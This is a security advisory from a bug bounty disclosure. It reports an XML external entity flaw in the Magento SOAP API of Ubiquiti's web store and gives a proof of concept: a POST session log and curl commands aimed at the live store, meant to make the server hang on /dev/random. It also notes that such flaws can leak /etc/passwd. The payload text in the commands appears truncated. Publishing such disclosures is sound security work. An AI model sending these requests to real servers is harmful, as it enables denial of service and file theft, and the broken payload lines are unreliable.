UBNT Bug Bounty #2 - XML External Entity Vulnerability
Vulnerability Laboratory ID (VL-ID):
Common Vulnerability Scoring System:
Product & Service Introduction:
Ubiquiti Networks is an American technology company started in 2005. Based in San Jose, California they are a manufacturer of
wireless products whose primary focus is on under-served and emerging markets.
(Copy of the Homepage: http://en.wikipedia.org/wiki/Ubiquiti_Networks )
Abstract Advisory Information:
The Vulnerability Laboratory Core Research Team discovered a XEE Vulnerability in the official Ubnt online service web-application.
Vulnerability Disclosure Timeline:
2016-04-14: Public Disclosure (Vulnerability Laboratory)
Product: Ubnt Store - Web Application (Online-Service) 2015 Q2
Technical Details & Description:
An XML external entities injection vulnerability exists on the soap server hosted on https://store.ubnt.com/index.php/api/ magento script.
The attack allows an attacker to open local files (although perhaps not return the data, see below), leading at best to a DoS.
Proof of Concept (PoC):
The XEE Vulnerability can be exploited by remote attackers without privileged application user account and low user interaction.
For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue.
Often this attack can be used to extract files from the server (such as /etc/passwd), or even directly execute code if the PHP
expect module is installed, however in this case exploitation isn't as straight forward as the issue occurs in the XML pre-check
code and no user input is returned. That's not to say there isn't a away to exfiltrate data,
--- PoC Session Logs [POST] ---
POST /index.php/api/ HTTP/1.1
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:36.0) Gecko/20100101 Firefox/36.0
Accept-Encoding: gzip, deflate
are not supported by SOAP/env:Text/env:Reason/env:Fault/env:Body/env:Envelope
You'll get the error "DTD are not supported by SOAP", but the attack will have succeeded.
cURL proof-of-concept which makes the script open /dev/random and hang:
curl -is --data $']>&xxe;' https://store.ubnt.com/index.php/api/
curl -is --data $']>&xxe;' https://store.ubnt.com/index.php/api/soap/
For more information on XXE vulnerabilities in PHP in particular, see:
i installed the last version ver 18.104.22.168 - magento ,they fixed the bug xxe/xee:
disabled to prevent XXE/XEE attacks
curl -is --data $']>&xxe;' http://localhost/magento/index.php/api/
HTTP/1.1 500 Internal Service Error
Date: Sat, 21 Mar 2015 22:00:23 GMT
Server: Apache/2.2.22 (Debian)
Content-Type: text/xml; charset=utf-8
SOAP-ENV:BodySOAP-ENV:FaultSenderDetected use of ENTITY in XML, disabled to prevent XXE/XEE attacks/SOAP-ENV:Fault/SOAP-ENV:Body/SOAP-ENV:Envelope
The security risk of the xee vulnerability in the soap server is estimated as medium. (CVSS 3.8)
Credits & Authors:
Vulnerability Laboratory [Research Team] - Hadji Samir (email@example.com) [http://www.vulnerability-lab.com/show.php?user=Hadji%20Samir]
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# Iranian Exploit DataBase = http://IeDb.Ir [2016-04-29]